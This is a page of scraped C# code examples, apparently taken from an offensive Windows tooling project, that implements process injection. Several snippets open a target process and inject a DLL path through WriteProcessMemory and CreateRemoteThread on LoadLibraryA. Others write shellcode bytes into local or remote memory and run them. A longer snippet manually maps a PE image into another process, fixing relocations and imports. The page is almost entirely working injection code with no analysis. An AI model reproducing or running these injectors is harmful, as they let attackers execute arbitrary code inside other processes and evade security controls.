예제 #1
0
        ////////////////////////////////////////////////////////////////////////////////
        //
        ////////////////////////////////////////////////////////////////////////////////
        protected IntPtr LoadLibraryRemote(String library)
        {
            ////////////////////////////////////////////////////////////////////////////////
            IntPtr hmodule         = kernel32.GetModuleHandle("kernel32.dll");
            IntPtr loadLibraryAddr = kernel32.GetProcAddress(hmodule, "LoadLibraryA");

            ////////////////////////////////////////////////////////////////////////////////
            IntPtr lpAddress     = IntPtr.Zero;
            UInt32 dwSize        = (UInt32)((library.Length + 1) * Marshal.SizeOf(typeof(char)));
            IntPtr lpBaseAddress = kernel32.VirtualAllocEx(hProcess, lpAddress, dwSize, kernel32.MEM_COMMIT | kernel32.MEM_RESERVE, Winnt.MEMORY_PROTECTION_CONSTANTS.PAGE_READWRITE);

            ////////////////////////////////////////////////////////////////////////////////
            UInt32  lpNumberOfBytesWritten   = 0;
            IntPtr  libraryPtr               = Marshal.StringToHGlobalAnsi(library);
            Boolean writeProcessMemoryResult = kernel32.WriteProcessMemory(hProcess, lpBaseAddress, libraryPtr, dwSize, ref lpNumberOfBytesWritten);

            ////////////////////////////////////////////////////////////////////////////////
            Winnt.MEMORY_PROTECTION_CONSTANTS lpflOldProtect = Winnt.MEMORY_PROTECTION_CONSTANTS.PAGE_NOACCESS;
            Boolean virtualProtectExResult = kernel32.VirtualProtectEx(hProcess, lpBaseAddress, dwSize, Winnt.MEMORY_PROTECTION_CONSTANTS.PAGE_EXECUTE_READ, ref lpflOldProtect);

            ////////////////////////////////////////////////////////////////////////////////
            IntPtr lpThreadAttributes = IntPtr.Zero;
            UInt32 dwStackSize        = 0;
            IntPtr lpParameter        = IntPtr.Zero;
            UInt32 dwCreationFlags    = 0;
            UInt32 threadId           = 0;
            IntPtr hThread            = kernel32.CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, loadLibraryAddr, lpBaseAddress, dwCreationFlags, ref threadId);

            return(hThread);
        }
예제 #2
0
        ////////////////////////////////////////////////////////////////////////////////
        //
        ////////////////////////////////////////////////////////////////////////////////
        internal void Execute()
        {
            String[] shellCodeArray = shellCodeString.Split(DELIMITER);
            Byte[]   shellCodeBytes = new Byte[shellCodeArray.Length];
            for (Int32 i = 0; i < shellCodeArray.Length; i++)
            {
                Int32 value = (Int32) new System.ComponentModel.Int32Converter().ConvertFromString(shellCodeArray[i]);
                shellCodeBytes[i] = Convert.ToByte(value);
            }

            ////////////////////////////////////////////////////////////////////////////////
            IntPtr lpAddress     = IntPtr.Zero;
            UInt32 dwSize        = (UInt32)shellCodeBytes.Length;
            IntPtr lpBaseAddress = kernel32.VirtualAlloc(lpAddress, dwSize, kernel32.MEM_COMMIT, Winnt.MEMORY_PROTECTION_CONSTANTS.PAGE_READWRITE);

            if (IntPtr.Zero == lpBaseAddress)
            {
                Console.WriteLine("[-] Unable to allocate memory");
                return;
            }
            Console.WriteLine("[+] Allocated {0} bytes at 0x{0}", dwSize, lpBaseAddress.ToString("X4"));
            Console.WriteLine("[*] Memory Protection Set to PAGE_READWRITE");

            ////////////////////////////////////////////////////////////////////////////////
            Marshal.Copy(shellCodeBytes, 0, lpBaseAddress, shellCodeBytes.Length);
            Console.WriteLine("Injected ShellCode at address 0x{0}", lpBaseAddress.ToString("X4"));

            ////////////////////////////////////////////////////////////////////////////////
            Winnt.MEMORY_PROTECTION_CONSTANTS lpflOldProtect = Winnt.MEMORY_PROTECTION_CONSTANTS.PAGE_NOACCESS;
            if (!kernel32.VirtualProtect(lpBaseAddress, dwSize, Winnt.MEMORY_PROTECTION_CONSTANTS.PAGE_EXECUTE_READ, ref lpflOldProtect))
            {
                Console.WriteLine("[-] VirtualProtectEx Failed");
                return;
            }
            Console.WriteLine("[+] Updated Memory Protections to PAGE_EXECUTE_READ");

            ////////////////////////////////////////////////////////////////////////////////
            IntPtr lpThreadAttributes = IntPtr.Zero;
            UInt32 dwStackSize        = 0;
            IntPtr lpParameter        = IntPtr.Zero;
            UInt32 dwCreationFlags    = 0;
            UInt32 threadId           = 0;

            Console.WriteLine("[*] Attempting to start thread");
            hThread = kernel32.CreateThread(lpThreadAttributes, dwStackSize, lpBaseAddress, lpParameter, dwCreationFlags, ref threadId);
            if (IntPtr.Zero == hThread)
            {
                Console.WriteLine("[-] CreateRemoteThread Failed");
                return;
            }
            Console.WriteLine("[+] Started Thread: ", hThread.ToString("X4"));

            ////////////////////////////////////////////////////////////////////////////////
            kernel32.WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
예제 #3
0
        ////////////////////////////////////////////////////////////////////////////////
        //
        ////////////////////////////////////////////////////////////////////////////////
        internal void Execute()
        {
            IntPtr loadLibraryAddr = kernel32.LoadLibrary(library);

            ////////////////////////////////////////////////////////////////////////////////
            IntPtr lpAddress = IntPtr.Zero;
            UInt32 dwSize    = (UInt32)((library.Length + 1) * Marshal.SizeOf(typeof(char)));

            Console.WriteLine("[*] Attempting to allocate memory");
            IntPtr lpBaseAddress = kernel32.VirtualAlloc(lpAddress, dwSize, kernel32.MEM_COMMIT | kernel32.MEM_RESERVE, Winnt.MEMORY_PROTECTION_CONSTANTS.PAGE_READWRITE);

            if (IntPtr.Zero == lpBaseAddress)
            {
                Console.WriteLine("[-] Unable to allocate memory");
                return;
            }
            Console.WriteLine("[+] Allocated {0} at 0x{1}", dwSize, lpBaseAddress.ToString("X4"));

            ////////////////////////////////////////////////////////////////////////////////
            libraryPtr = Marshal.StringToHGlobalAnsi(library);
            Console.WriteLine("[*] Attempting to write process memory");
            IntPtr[] lpBaseAddressArray = new IntPtr[] { lpBaseAddress };
            Marshal.Copy(libraryPtr, lpBaseAddressArray, 0, lpBaseAddressArray.Length);
            Console.WriteLine("[+] Wrote bytes");

            ////////////////////////////////////////////////////////////////////////////////
            Winnt.MEMORY_PROTECTION_CONSTANTS lpflOldProtect = Winnt.MEMORY_PROTECTION_CONSTANTS.PAGE_NOACCESS;
            Console.WriteLine("[*] Attempting to Alter Memory Protections to PAGE_EXECUTE_READ");
            if (!kernel32.VirtualProtect(lpBaseAddress, dwSize, Winnt.MEMORY_PROTECTION_CONSTANTS.PAGE_EXECUTE_READ, ref lpflOldProtect))
            {
                Console.WriteLine("[-] Memory Protection Operation Failed");
                return;
            }
            Console.WriteLine("[+] Set Memory Protection to PAGE_EXECUTE_READ");

            ////////////////////////////////////////////////////////////////////////////////
            IntPtr lpThreadAttributes = IntPtr.Zero;
            UInt32 dwStackSize        = 0;
            IntPtr lpParameter        = IntPtr.Zero;
            UInt32 dwCreationFlags    = 0;
            UInt32 threadId           = 0;

            Console.WriteLine("[*] Attempting to start thread");
            hThread = kernel32.CreateThread(lpThreadAttributes, dwStackSize, loadLibraryAddr, lpBaseAddress, dwCreationFlags, ref threadId);
            if (IntPtr.Zero == hThread)
            {
                Console.WriteLine("[-] CreateThread Failed");
                return;
            }
            Console.WriteLine("[+] Started Thread: 0x{0}", hThread.ToString("X4"));

            ///////////////////////////////////////////////////////////////////////////////
            //Unmanaged.WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
예제 #4
0
        ////////////////////////////////////////////////////////////////////////////////
        // No idea why this exists
        ////////////////////////////////////////////////////////////////////////////////
        protected IntPtr VirtualAllocExChecked(IntPtr lpAddress, UInt32 dwSize, Winnt.MEMORY_PROTECTION_CONSTANTS protection)
        {
            IntPtr lpBaseAddress = kernel32.VirtualAllocEx(
                hProcess, lpAddress, dwSize, kernel32.MEM_COMMIT | kernel32.MEM_RESERVE, protection);

            if (IntPtr.Zero == lpBaseAddress)
            {
                Console.WriteLine("[-] Unable to allocate memory");
                return(IntPtr.Zero);
            }
            Console.WriteLine("[+] Allocated {0} bytes at {1}", dwSize, lpBaseAddress.ToString("X4"));
            Console.WriteLine("[+] \tMemory Protection Set to {0}", protection);
            return(lpBaseAddress);
        }
예제 #5
0
        ////////////////////////////////////////////////////////////////////////////////
        //
        ////////////////////////////////////////////////////////////////////////////////
        internal void Execute()
        {
            ////////////////////////////////////////////////////////////////////////////////
            Console.WriteLine("[*] Attempting to get handle on {0}", processId);
            hProcess = kernel32.OpenProcess(/*kernel32.PROCESS_CREATE_THREAD | kernel32.PROCESS_QUERY_INFORMATION | kernel32.PROCESS_VM_OPERATION | kernel32.PROCESS_VM_WRITE | kernel32.PROCESS_VM_READ*/ kernel32.PROCESS_ALL_ACCESS, false, processId);
            if (IntPtr.Zero == hProcess)
            {
                Console.WriteLine("[-] Unable to open process");
                return;
            }
            Console.WriteLine("[+] Handle: 0x{0}", hProcess.ToString("X4"));

            ////////////////////////////////////////////////////////////////////////////////
            IntPtr hModule = kernel32.GetModuleHandle("kernel32.dll");

            if (IntPtr.Zero == hModule)
            {
                Console.WriteLine("[-] Unable to open module handle to kernel32.dll");
                return;
            }
            Console.WriteLine("[+] Module Handle: 0x{0}", hModule.ToString("X4"));

            IntPtr loadLibraryAddr = kernel32.GetProcAddress(hModule, "LoadLibraryA");

            if (IntPtr.Zero == loadLibraryAddr)
            {
                Console.WriteLine("[-] Unable to open module handle to LoadLibraryA");
                return;
            }

            ////////////////////////////////////////////////////////////////////////////////
            IntPtr lpAddress = IntPtr.Zero;
            UInt32 dwSize    = (UInt32)((library.Length + 1) * Marshal.SizeOf(typeof(char)));

            Console.WriteLine("[*] Attempting to allocate memory");
            IntPtr lpBaseAddress = kernel32.VirtualAllocEx(hProcess, lpAddress, dwSize, kernel32.MEM_COMMIT | kernel32.MEM_RESERVE, Winnt.MEMORY_PROTECTION_CONSTANTS.PAGE_READWRITE);

            if (IntPtr.Zero == lpBaseAddress)
            {
                Console.WriteLine("[-] Unable to allocate memory");
                return;
            }
            Console.WriteLine("[+] Allocated {0} bytes at 0x{1}", dwSize, lpBaseAddress.ToString("X4"));
            Console.WriteLine("[+] Memory Protection Set to PAGE_READWRITE");

            ////////////////////////////////////////////////////////////////////////////////
            UInt32 lpNumberOfBytesWritten = 0;

            libraryPtr = Marshal.StringToHGlobalAnsi(library);
            Console.WriteLine("[*] Attempting to write process memory");
            if (!kernel32.WriteProcessMemory(hProcess, lpBaseAddress, libraryPtr, dwSize, ref lpNumberOfBytesWritten))
            {
                Console.WriteLine("[-] WriteProcessMemory Failed");
                return;
            }
            Console.WriteLine("[+] Wrote {0} bytes", lpNumberOfBytesWritten);

            ////////////////////////////////////////////////////////////////////////////////
            Winnt.MEMORY_PROTECTION_CONSTANTS lpflOldProtect = Winnt.MEMORY_PROTECTION_CONSTANTS.PAGE_NOACCESS;
            Console.WriteLine("[*] Attempting to Alter Memory Protections to PAGE_EXECUTE_READ");
            if (!kernel32.VirtualProtectEx(hProcess, lpBaseAddress, dwSize, Winnt.MEMORY_PROTECTION_CONSTANTS.PAGE_EXECUTE_READ, ref lpflOldProtect))
            {
                Console.WriteLine("[-] VirtualProtectEx Failed");
                return;
            }
            Console.WriteLine("[+] Set Memory Protection to PAGE_EXECUTE_READ");

            ////////////////////////////////////////////////////////////////////////////////
            IntPtr lpThreadAttributes = IntPtr.Zero;
            UInt32 dwStackSize        = 0;
            IntPtr lpParameter        = IntPtr.Zero;
            UInt32 dwCreationFlags    = 0;
            UInt32 threadId           = 0;

            Console.WriteLine("[*] Attempting to start remote thread");
            hThread = kernel32.CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, loadLibraryAddr, lpBaseAddress, dwCreationFlags, ref threadId);
            if (IntPtr.Zero == hThread)
            {
                Console.WriteLine("[-] CreateRemoteThread Failed");
                return;
            }

            Console.WriteLine("[+] Started Thread: 0x{0}", hThread.ToString("X4"));

            ///////////////////////////////////////////////////////////////////////////////
            kernel32.WaitForSingleObjectEx(hProcess, hThread, 0xFFFFFFFF);
        }
예제 #6
0
 public static extern Boolean VirtualProtectEx(IntPtr hHandle, IntPtr lpAddress, UInt32 dwSize, Winnt.MEMORY_PROTECTION_CONSTANTS flNewProtect, ref Winnt.MEMORY_PROTECTION_CONSTANTS lpflOldProtect);
예제 #7
0
 public static extern IntPtr VirtualAllocEx(IntPtr hHandle, IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, Winnt.MEMORY_PROTECTION_CONSTANTS flProtect);
        ////////////////////////////////////////////////////////////////////////////////
        //
        ////////////////////////////////////////////////////////////////////////////////
        internal void Execute()
        {
            const Char DELIMITER = ',';

            String[] shellCodeArray = shellCodeString.Split(DELIMITER);
            Byte[]   shellCodeBytes = new Byte[shellCodeArray.Length];

            for (Int32 i = 0; i < shellCodeArray.Length; i++)
            {
                Int32 value = (Int32) new System.ComponentModel.Int32Converter().ConvertFromString(shellCodeArray[i]);
                shellCodeBytes[i] = Convert.ToByte(value);
            }

            ////////////////////////////////////////////////////////////////////////////////
            Console.WriteLine("[*] Attempting to get handle on {0}", processId);
            hProcess = kernel32.OpenProcess(kernel32.PROCESS_CREATE_THREAD | kernel32.PROCESS_QUERY_INFORMATION | kernel32.PROCESS_VM_OPERATION | kernel32.PROCESS_VM_WRITE | kernel32.PROCESS_VM_READ, false, processId);
            if (IntPtr.Zero == hProcess)
            {
                Console.WriteLine("[-] Unable to open process");
                return;
            }
            Console.WriteLine("[+] Handle: 0x{0}", hProcess.ToString("X4"));

            ////////////////////////////////////////////////////////////////////////////////
            IntPtr lpAddress = IntPtr.Zero;
            UInt32 dwSize    = (UInt32)shellCodeBytes.Length;

            Console.WriteLine("[*] Attempting to allocate memory");
            IntPtr lpBaseAddress = kernel32.VirtualAllocEx(hProcess, lpAddress, dwSize, kernel32.MEM_COMMIT, Winnt.MEMORY_PROTECTION_CONSTANTS.PAGE_READWRITE);

            if (IntPtr.Zero == lpBaseAddress)
            {
                Console.WriteLine("[-] Unable to allocate memory");
                return;
            }
            Console.WriteLine("[+] Allocated {0} bytes at 0x{1}", dwSize, lpBaseAddress.ToString("X4"));
            Console.WriteLine("[+] Memory Protection Set to PAGE_READWRITE");

            ////////////////////////////////////////////////////////////////////////////////
            UInt32   lpNumberOfBytesWritten = 0;
            GCHandle pinnedArray            = GCHandle.Alloc(shellCodeBytes, GCHandleType.Pinned);
            IntPtr   shellCodeBytesPtr      = pinnedArray.AddrOfPinnedObject();

            Console.WriteLine("[*] Attempting to write process memory");
            if (!kernel32.WriteProcessMemory(hProcess, lpBaseAddress, shellCodeBytesPtr, (UInt32)shellCodeBytes.Length, ref lpNumberOfBytesWritten))
            {
                Console.WriteLine("[-] WriteProcessMemory Failed");
                return;
            }
            Console.WriteLine("[+] Wrote {0} bytes", lpNumberOfBytesWritten);

            ////////////////////////////////////////////////////////////////////////////////
            Winnt.MEMORY_PROTECTION_CONSTANTS lpflOldProtect = Winnt.MEMORY_PROTECTION_CONSTANTS.PAGE_NOACCESS;
            Console.WriteLine("[*] Attempting to Alter Memory Protections to PAGE_EXECUTE_READ");
            if (!kernel32.VirtualProtectEx(hProcess, lpBaseAddress, dwSize, Winnt.MEMORY_PROTECTION_CONSTANTS.PAGE_EXECUTE_READ, ref lpflOldProtect))
            {
                Console.WriteLine("[-] VirtualProtectEx Failed");
                return;
            }
            Console.WriteLine("[+] Set Memory Protection to PAGE_EXECUTE_READ");

            ////////////////////////////////////////////////////////////////////////////////
            IntPtr lpThreadAttributes = IntPtr.Zero;
            UInt32 dwStackSize        = 0;
            IntPtr lpParameter        = IntPtr.Zero;
            UInt32 dwCreationFlags    = 0;
            UInt32 threadId           = 0;

            Console.WriteLine("[*] Attempting to start remote thread");
            hThread = kernel32.CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpBaseAddress, lpParameter, dwCreationFlags, ref threadId);
            if (IntPtr.Zero == hThread)
            {
                Console.WriteLine("[-] CreateRemoteThread Failed");
                return;
            }

            Console.WriteLine("[+] Started Thread: {0}", hThread);

            ////////////////////////////////////////////////////////////////////////////////
            kernel32.WaitForSingleObjectEx(hProcess, hThread, 0xFFFFFFFF);
        }
예제 #9
0
 public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, Winnt.MEMORY_PROTECTION_CONSTANTS flNewProtect, ref Winnt.MEMORY_PROTECTION_CONSTANTS lpflOldProtect);
예제 #10
0
 public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, Winnt.MEMORY_PROTECTION_CONSTANTS flProtect);
예제 #11
0
        internal void Execute()
        {
            Boolean targetArch = Is32BitProcess();

            if (peLoader.is64Bit == targetArch)
            {
                Console.WriteLine("[-] Architechure Mismatch");
                Console.WriteLine("[-] Source: {0}", peLoader.is64Bit);
                Console.WriteLine("[-] Destination: {0}", targetArch);
                return;
            }

            Winnt.MEMORY_PROTECTION_CONSTANTS protection = Winnt.MEMORY_PROTECTION_CONSTANTS.PAGE_EXECUTE_READWRITE;
            if (Winnt.DLL_CHARACTERISTICS.IMAGE_DLLCHARACTERISTICS_NX_COMPAT == (Winnt.DLL_CHARACTERISTICS)((UInt16)Winnt.DLL_CHARACTERISTICS.IMAGE_DLLCHARACTERISTICS_NX_COMPAT & peLoader.dllCharacteristics))
            {
                protection = Winnt.MEMORY_PROTECTION_CONSTANTS.PAGE_EXECUTE_READ;
            }

            ////////////////////////////////////////////////////////////////////////////////
            IntPtr lpBaseAddress = VirtualAllocExChecked(IntPtr.Zero, peLoader.sizeOfImage, protection);

            if (IntPtr.Zero == lpBaseAddress)
            {
                return;
            }
            Console.WriteLine("[*] Iterating through {0} Headers", peLoader.imageFileHeader.NumberOfSections);

            ////////////////////////////////////////////////////////////////////////////////
            for (Int32 i = 0; i < peLoader.imageFileHeader.NumberOfSections; i++)
            {
                IntPtr   lpBaseAddressSection = new IntPtr(lpBaseAddress.ToInt64() + peLoader.imageSectionHeaders[i].VirtualAddress);
                GCHandle pinnedArray          = GCHandle.Alloc(peLoader.imageBytes, GCHandleType.Pinned);
                IntPtr   imageBytesPtr        = new IntPtr((Int64)pinnedArray.AddrOfPinnedObject() + peLoader.imageSectionHeaders[i].PointerToRawData);
                String   sectionName          = new String(peLoader.imageSectionHeaders[i].Name);
                WriteProcessMemoryChecked(lpBaseAddressSection, imageBytesPtr, peLoader.imageSectionHeaders[i].SizeOfRawData, sectionName);
            }

            ////////////////////////////////////////////////////////////////////////////////
            IntPtr lpRelocationTable = new IntPtr(lpBaseAddress.ToInt64() + peLoader.baseRelocationTableAddress);

            Winnt._IMAGE_BASE_RELOCATION relocationEntry = PtrToStructureRemote <Winnt._IMAGE_BASE_RELOCATION>(lpRelocationTable);
            UInt32 imageSizeOfBaseRelocation             = (UInt32)Marshal.SizeOf(typeof(Winnt._IMAGE_BASE_RELOCATION));
            UInt32 sizeOfNextBlock = relocationEntry.SizeOfBlock;
            IntPtr offset          = lpRelocationTable;

            Int64 delta64 = lpBaseAddress.ToInt64() - (Int64)peLoader.imageBase;

            ////////////////////////////////////////////////////////////////////////////////
            while (true)
            {
                IntPtr lpNextRelocationEntry = new IntPtr(lpRelocationTable.ToInt64() + (Int64)sizeOfNextBlock);
                Winnt._IMAGE_BASE_RELOCATION relocationNextEntry = PtrToStructureRemote <Winnt._IMAGE_BASE_RELOCATION>(lpNextRelocationEntry);
                IntPtr destinationAddress = new IntPtr(lpBaseAddress.ToInt64() + (Int32)relocationEntry.VirtualAdress);

                ////////////////////////////////////////////////////////////////////////////////
                Int32 entries = (Int32)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2);
                for (Int32 i = 0; i < entries; i++)
                {
                    UInt16           value          = ReadInt16Remote(offset, (relocationEntry.SizeOfBlock) + (2 * i));
                    Winnt.TypeOffset type           = (Winnt.TypeOffset)(value >> 12);
                    UInt16           patchOffset    = (UInt16)(value & 0xfff);
                    IntPtr           lpPatchAddress = IntPtr.Zero;
                    switch (type)
                    {
                    case Winnt.TypeOffset.IMAGE_REL_BASED_ABSOLUTE:
                        break;

                    case Winnt.TypeOffset.IMAGE_REL_BASED_HIGH:
                        break;

                    case Winnt.TypeOffset.IMAGE_REL_BASED_LOW:
                        break;

                    case Winnt.TypeOffset.IMAGE_REL_BASED_HIGHLOW:
                        lpPatchAddress = new IntPtr(destinationAddress.ToInt64() + patchOffset);
                        WriteInt64Remote(lpPatchAddress, ReadInt64Remote(lpPatchAddress) + delta64);
                        break;

                    case Winnt.TypeOffset.IMAGE_REL_BASED_HIGHADJ:
                        break;

                    case Winnt.TypeOffset.IMAGE_REL_BASED_SECTION:
                        break;

                    case Winnt.TypeOffset.IMAGE_REL_BASED_REL:
                        break;

                    case Winnt.TypeOffset.IMAGE_REL_BASED_DIR64:
                        lpPatchAddress = new IntPtr(destinationAddress.ToInt64() + patchOffset);
                        WriteInt64Remote(lpPatchAddress, ReadInt64Remote(lpPatchAddress) + delta64);
                        break;

                    case Winnt.TypeOffset.IMAGE_REL_BASED_HIGH3ADJ:
                        break;

                    default:
                        break;
                    }
                }
                offset           = new IntPtr(lpRelocationTable.ToInt64() + (Int64)sizeOfNextBlock);
                sizeOfNextBlock += relocationNextEntry.SizeOfBlock;
                relocationEntry  = relocationNextEntry;
                //"The last entry is set to zero (NULL) to indicate the end of the table." - cool
                if (0 == relocationNextEntry.SizeOfBlock)
                {
                    break;
                }
            }

            ////////////////////////////////////////////////////////////////////////////////
            //http://sandsprite.com/CodeStuff/Understanding_imports.html
            ////////////////////////////////////////////////////////////////////////////////
            Int32   sizeOfStruct        = Marshal.SizeOf(typeof(Winnt._IMAGE_IMPORT_DESCRIPTOR));
            Int32   multiplier          = 0;
            Process localProcess        = Process.GetCurrentProcess();
            IntPtr  lpLocalBaseAddress  = localProcess.MainModule.BaseAddress;
            Process remoteProcess       = Process.GetProcessById((Int32)localProcess.Id);
            IntPtr  lpRemoteBaseAddress = remoteProcess.MainModule.BaseAddress;

            while (true)
            {
                UInt32 dwImportTableAddressOffset = (UInt32)((sizeOfStruct * multiplier++) + peLoader.importTableAddress);
                IntPtr lpImportAddressTable       = new IntPtr(lpBaseAddress.ToInt64() + dwImportTableAddressOffset);
                Winnt._IMAGE_IMPORT_DESCRIPTOR imageImportDirectory = PtrToStructureRemote <Winnt._IMAGE_IMPORT_DESCRIPTOR>(lpImportAddressTable);
                if (0 == imageImportDirectory.FirstThunk)
                {
                    break;
                }

                ////////////////////////////////////////////////////////////////////////////////
                IntPtr dllNamePtr           = new IntPtr(lpBaseAddress.ToInt64() + imageImportDirectory.Name);
                String dllName              = PtrToStringAnsiRemote(dllNamePtr).Replace("\0", "");
                IntPtr lpLocalModuleAddress = kernel32.LoadLibrary(dllName);
                IntPtr lpModuleBaseAddress  = LoadLibraryRemote(dllName);
                WaitForSingleObjectExRemote(lpModuleBaseAddress);
                Console.WriteLine("[+] Library {0}", dllName);

                ////////////////////////////////////////////////////////////////////////////////
                IntPtr lpRvaImportAddressTable = new IntPtr(lpBaseAddress.ToInt64() + imageImportDirectory.FirstThunk);
                while (true)
                {
                    Int32 dwRvaImportAddressTable = PtrToInt32Remote(lpRvaImportAddressTable);
                    if (0 == dwRvaImportAddressTable)
                    {
                        break;
                    }

                    IntPtr lpDllFunctionName = new IntPtr(lpBaseAddress.ToInt64() + dwRvaImportAddressTable + 2);

                    String dllFunctionName           = PtrToStringAnsiRemote(lpDllFunctionName).Replace("\0", "");
                    IntPtr hModule                   = kernel32.GetModuleHandle(dllName);
                    IntPtr lpLocalFunctionAddress    = kernel32.GetProcAddress(hModule, dllFunctionName);
                    IntPtr lpRelativeFunctionAddress = new IntPtr(lpLocalFunctionAddress.ToInt64() - lpLocalBaseAddress.ToInt64());
                    IntPtr lpFunctionAddress         = new IntPtr(lpRemoteBaseAddress.ToInt64() + lpRelativeFunctionAddress.ToInt64());
                    Console.WriteLine("[+] \tFunction: {0}", dllFunctionName);

                    if (!WriteInt64Remote(lpRvaImportAddressTable, (Int64)lpFunctionAddress))
                    {
                        Console.WriteLine("[-] RvaImportAddressTable Write Failed");
                        return;
                    }
                    lpRvaImportAddressTable = new IntPtr(lpRvaImportAddressTable.ToInt64() + sizeof(Int64));
                }
            }

            ////////////////////////////////////////////////////////////////////////////////
            IntPtr lpStartAddress = new IntPtr(lpBaseAddress.ToInt64() + peLoader.addressOfEntryPoint);
            IntPtr lpParameter    = IntPtr.Zero;
            IntPtr hThread        = IntPtr.Zero;

            CreateRemoteThreadChecked(lpStartAddress, lpParameter, hThread);
        }